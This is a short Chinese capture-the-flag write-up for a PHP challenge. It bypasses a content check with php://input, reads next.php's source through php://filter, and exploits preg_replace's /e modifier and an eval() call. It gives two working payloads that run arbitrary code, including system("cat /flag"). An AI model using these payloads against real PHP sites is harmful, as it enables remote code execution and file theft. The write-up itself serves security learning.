打开题目,直接看到代码
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
这里很明显,可以通过文件包含的伪协议来读取文件
要读取一个文件,里面的内容要为"I have a dream",这里可以通过php://input 的伪协议来通过这个判断
file_get_contents($text,'r')==="I have a dream"
接下来通过php://filter读取文件的源代码,但是过滤了对flag文件的读取,不过提示了next.php的存在,因此我们先读取next.php,构造payload
得到了next.php base64加密之后的字符串,解密之后得到源码
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
preg_replace()使用的/e模式可以存在远程执行代码
具体文章可以参考 深入研究preg_replace与代码执行
payload1:利用源码给的getFlag函数
/next.php?\S*=${getflag()}&cmd=show_source("/flag")
payload2:通过构造post传参
next.php?\S*=${eval($_POST[A])}
POST:
A=system("cat /flag");